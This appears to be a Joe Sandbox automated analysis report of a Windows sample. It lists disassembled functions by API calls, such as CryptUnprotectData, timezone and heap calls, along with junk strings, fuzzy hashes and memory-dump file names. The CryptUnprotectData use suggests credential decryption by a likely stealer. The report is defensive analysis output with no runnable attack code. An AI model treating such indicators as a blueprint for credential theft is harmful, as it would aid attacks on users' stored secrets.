Associated: 00000000.00000002.1799253602.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000717000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000073F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799565875.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799815431.00000000008E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799842494.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptString
String ID:
API String ID: 80407269-0
Opcode ID: fc0530b2d18c8c0cea0082dd3006a2303e91168c7d4cca52f338b4bfe22cba5d
Instruction ID: 7917a6f9286945fb294210c29e3b78f1d0ce28ee489ae1ee0caabd34d877fcd5
Opcode Fuzzy Hash: fc0530b2d18c8c0cea0082dd3006a2303e91168c7d4cca52f338b4bfe22cba5d
Instruction Fuzzy Hash: 35110A70260205AFDB00CF64D888FAB37A9AF8A710F10D458F9198B250DB75E861DB66

Function 00277A30 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,00E2E190,00000000,?,00280E10,00000000,?,00000000,00000000), ref: 00277A63
RtlAllocateHeap.NTDLL(00000000), ref: 00277A6A
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,00E2E190,00000000,?,00280E10,00000000,?,00000000,00000000,?), ref: 00277A7D
wsprintfA.USER32 ref: 00277AB7

Memory Dump Source

Source File: 00000000.00000002.1798593544.0000000000261000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.1798512937.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000311000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.000000000031D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.00000000004AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.00000000004BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000717000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000073F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799565875.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799815431.00000000008E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799842494.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateInformationProcessTimeZonewsprintf
String ID:
API String ID: 3317088062-0
Opcode ID: 5f6300ee7c6a3cf92880d40bc890a3ae49dc672f30e8b2b7cf8529f28934f28e
Instruction ID: bbdea9b1f393902f275b7ee409620fb1788f0a1dbf4261e0e37ead8cdb576521
Opcode Fuzzy Hash: 5f6300ee7c6a3cf92880d40bc890a3ae49dc672f30e8b2b7cf8529f28934f28e
Instruction Fuzzy Hash: AB1182B1945218DBEB209F54DC45F59BB78FB05711F1047E9E90A932C0C7745E54CF51

Function 0062BE93 Relevance: 6.0, Strings: 4, Instructions: 1033COMMON

Download Yara Rule

Strings

[C[z, xrefs: 0062C3E6
pz}, xrefs: 0062C4A1
>j_O, xrefs: 0062CA98
1w}{, xrefs: 0062C20E

Memory Dump Source

Source File: 00000000.00000002.1799253602.00000000004BE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.1798512937.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000261000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000311000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.000000000031D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.00000000004AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000717000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000073F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799565875.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799815431.00000000008E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799842494.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 1w}{$>j_O$[C[z$pz}
API String ID: 0-3808748184
Opcode ID: 8ea0f9d8e95f3a0cd249f947c710c03d6008c08c378747905c083be7311afa5f
Instruction ID: 2eaf806318ad7b9dce78148f8f16e4efcc9d9e8e82972a48138770be6ee080e9
Opcode Fuzzy Hash: 8ea0f9d8e95f3a0cd249f947c710c03d6008c08c378747905c083be7311afa5f
Instruction Fuzzy Hash: C062F5F360C2009FE7046E29EC8577ABBE9EB94360F1A493DEAC4C7744E63598448797

Function 00627006 Relevance: 5.8, Strings: 4, Instructions: 789COMMON

Download Yara Rule

Strings

F_[, xrefs: 006275F7
3<1=, xrefs: 006274A0
@~os, xrefs: 0062723E
fJw,, xrefs: 00627938

Memory Dump Source

Source File: 00000000.00000002.1799253602.00000000004BE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.1798512937.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000261000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000311000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.000000000031D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.00000000004AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000717000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000073F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799565875.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799815431.00000000008E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799842494.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 3<1=$@~os$fJw,$F_[
API String ID: 0-3974770112
Opcode ID: 6dd515b07099520e489b37115df7bd78082c5434fa1ae9b440891d7d7c880176
Instruction ID: d948ccb6cf25bb10165879d805bdd2736f15e9c65945ee9a3ab09c46231af366
Opcode Fuzzy Hash: 6dd515b07099520e489b37115df7bd78082c5434fa1ae9b440891d7d7c880176
Instruction Fuzzy Hash: 763228F360C204AFE3086E2DEC4567ABBE9EF94720F1A493DE6C5C7744E63598018693

Function 00624B29 Relevance: 5.4, Strings: 3, Instructions: 1666COMMON

Download Yara Rule

Strings

e#Q}, xrefs: 00625D8C
'jo, xrefs: 00625B71
G#_=, xrefs: 00625EA9

Memory Dump Source

Source File: 00000000.00000002.1799253602.00000000004BE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.1798512937.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000261000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000311000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.000000000031D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.00000000004AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000717000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000073F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799565875.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799815431.00000000008E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799842494.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID:
String ID: G#_=$e#Q}$'jo
API String ID: 0-2241741446
Opcode ID: c6ce3a9c2121fe49c100aa13d25936595ab8b44cc146024e26cd90d62ce5ff14
Instruction ID: d07770289d98950de8eb6d5400e043397f8668cea0ea8a8d4ae869426e24e9ef
Opcode Fuzzy Hash: c6ce3a9c2121fe49c100aa13d25936595ab8b44cc146024e26cd90d62ce5ff14
Instruction Fuzzy Hash: 1AB206F3A0C2109FE304AE2DEC8567ABBE9EF94320F1A453DEAC5C7744E53598058697

Function 00273720 Relevance: 4.6, APIs: 3, Instructions: 100comCOMMON

Download Yara Rule

APIs

CoCreateInstance.COMBASE(0027E118,00000000,00000001,0027E108,00000000), ref: 00273758
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000104), ref: 002737B0

Memory Dump Source

Source File: 00000000.00000002.1798593544.0000000000261000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.1798512937.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000311000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.000000000031D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.00000000004AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.00000000004BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000717000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000073F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799565875.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799815431.00000000008E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799842494.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID: ByteCharCreateInstanceMultiWide
String ID:
API String ID: 123533781-0
Opcode ID: 9649e5651ef631b6ee48742bf8c96c166033b296021c3333fab16490f8a382db
Instruction ID: fdbccffd5cd89a128e19f91bdc1e9867e8111ef9e52935e7e0bab9455f69b8cc
Opcode Fuzzy Hash: 9649e5651ef631b6ee48742bf8c96c166033b296021c3333fab16490f8a382db
Instruction Fuzzy Hash: CF410A70A50A289FDB24DB58CC95B9BB7B5BB48702F4081D8E60CEB2D0D771AE85CF51

Function 00269B60 Relevance: 4.6, APIs: 3, Instructions: 51memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00269B84
LocalAlloc.KERNEL32(00000040,00000000), ref: 00269BA3
LocalFree.KERNEL32(?), ref: 00269BD3

Memory Dump Source

Source File: 00000000.00000002.1798593544.0000000000261000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.1798512937.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000311000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.000000000031D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.00000000004AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.00000000004BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000717000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000073F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799565875.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799815431.00000000008E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799842494.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: d9a205a111ff97c5ab12e79e781120bfd21b8e72e559a1dc525d0eaee7525de9
Instruction ID: c195ed319fa333491e8a0acfbb4b5dde21be21c79cdb5684b70484fa44c846e7
Opcode Fuzzy Hash: d9a205a111ff97c5ab12e79e781120bfd21b8e72e559a1dc525d0eaee7525de9
Instruction Fuzzy Hash: FE110CB8A00209DFDB04DF94D985AAE77B9FF89304F104568E81597350D774AE51CFA1

Function 00628236 Relevance: 4.0, Strings: 2, Instructions: 1520COMMON

Download Yara Rule

Strings

13~, xrefs: 00628931
q{[, xrefs: 006284CF

Memory Dump Source

Source File: 00000000.00000002.1799253602.00000000004BE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.1798512937.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000261000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000311000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.000000000031D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.00000000004AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000717000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000073F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799565875.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799815431.00000000008E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799842494.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 13~$q{[
API String ID: 0-4278803760
Opcode ID: 987ccd37ec5f5cd31e1089373af7747760d1e51c3d74030cb6fd63177738fefe
Instruction ID: 007c06b99e4154358ec3979b15dc29c339fdf5906daa88a9f588c2b62abbec0a
Opcode Fuzzy Hash: 987ccd37ec5f5cd31e1089373af7747760d1e51c3d74030cb6fd63177738fefe
Instruction Fuzzy Hash: 82A207F36082049FE3046E2DEC8567ABBE9EF94720F1A493DEAC4C3744E63598458797

Function 0061C66C Relevance: 4.0, Strings: 2, Instructions: 1478COMMON

Download Yara Rule

Strings

J?g, xrefs: 0061CCD9
Qn[r, xrefs: 0061CC4A

Memory Dump Source

Source File: 00000000.00000002.1799253602.00000000004BE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.1798512937.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000261000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000311000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.000000000031D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.00000000004AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000717000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000073F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799565875.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799815431.00000000008E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799842494.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID:
String ID: J?g$Qn[r
API String ID: 0-2505242624
Opcode ID: 2c15854772ac367f9fa96b77186baf03b93a3ef17004cadbb9c896a1e861b313
Instruction ID: 7fcd5024f98d2a1ee866b7e57f366832b1a96f6dabdc7cf0b05eedd46fb627a9
Opcode Fuzzy Hash: 2c15854772ac367f9fa96b77186baf03b93a3ef17004cadbb9c896a1e861b313
Instruction Fuzzy Hash: 21A2E4F3A0C2049FE304AF29EC8567AFBE5EF94720F16492DE6C483744EA3558458B97

Function 004E369F Relevance: 2.7, Strings: 2, Instructions: 240COMMON

Download Yara Rule

Strings

9r^N, xrefs: 004E38BC
9r^N, xrefs: 004E38C1

Memory Dump Source

Source File: 00000000.00000002.1799253602.00000000004BE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.1798512937.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000261000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000311000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.000000000031D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.00000000004AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000717000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000073F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799565875.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799815431.00000000008E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799842494.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 9r^N$9r^N
API String ID: 0-2535297952
Opcode ID: b28868d0d3bd75243417bdfd282aadb14c6e333e452d9f163ac98efcbfc5bf15
Instruction ID: aa2b012dee8fc61583bf0ccdfa9cb761cbb4634a5360346c797a3f82d4c3098d
Opcode Fuzzy Hash: b28868d0d3bd75243417bdfd282aadb14c6e333e452d9f163ac98efcbfc5bf15
Instruction Fuzzy Hash: 33713BF3A092045FE3046E2DEC4473BFBDADBD4324F26863DDA8487784ED7A58158686

Function 0072D2F2 Relevance: 1.4, Strings: 1, Instructions: 167COMMON

Download Yara Rule

Strings

4u9:, xrefs: 0072D43E

Memory Dump Source

Source File: 00000000.00000002.1799253602.0000000000717000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.1798512937.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000261000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000311000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.000000000031D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.00000000004AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.00000000004BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000073F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799565875.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799815431.00000000008E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799842494.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 4u9:
API String ID: 0-3300871769
Opcode ID: 5c51cce1e74bf0626f22f97a2c24bbadac2cc50a172bb5037479ba92bb2ac714
Instruction ID: c6f746c0ea25265363523ade190db7cf9b2c96cb0ab454342a88827ea5f0c4a3
Opcode Fuzzy Hash: 5c51cce1e74bf0626f22f97a2c24bbadac2cc50a172bb5037479ba92bb2ac714
Instruction Fuzzy Hash: 0951EFB260C314DFC320BE69E84453EB7E4EF90710F26882DE6C687615E2795D81EB53

Function 005C5F47 Relevance: .2, Instructions: 212COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1799253602.00000000004BE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.1798512937.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000261000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000311000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.000000000031D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.00000000004AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000717000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000073F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799565875.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799815431.00000000008E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799842494.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4779aaf29a2a67dbf85f539d243007edd3bcab67584fbef789ba48e55db114c1
Instruction ID: a940c4b1c815707bb7427c240e4c4bce92b3f5a46fc0d8193bad86e3828eb389
Opcode Fuzzy Hash: 4779aaf29a2a67dbf85f539d243007edd3bcab67584fbef789ba48e55db114c1
Instruction Fuzzy Hash: DD61F3B3A0C7149FE309AE29DC8576AF7E6EFC4320F17893DD6C487744EA3548418A96

Function 00607A90 Relevance: .2, Instructions: 188COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1799253602.00000000004BE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.1798512937.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000261000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000311000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.000000000031D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.00000000004AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000717000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000073F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799565875.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799815431.00000000008E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799842494.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ba0b087c21735805ba17008e519b36369e74906459be8726d2fa0da6988b64fa
Instruction ID: cdab9998adbb676aa54dcf1404a54c2fddcac8a802a19b12ce6be1943640c66c
Opcode Fuzzy Hash: ba0b087c21735805ba17008e519b36369e74906459be8726d2fa0da6988b64fa
Instruction Fuzzy Hash: 15512BF3E082109BE718AE69DC9572AB7D5EF94320F1B493EDAC9D7380E579480587C2

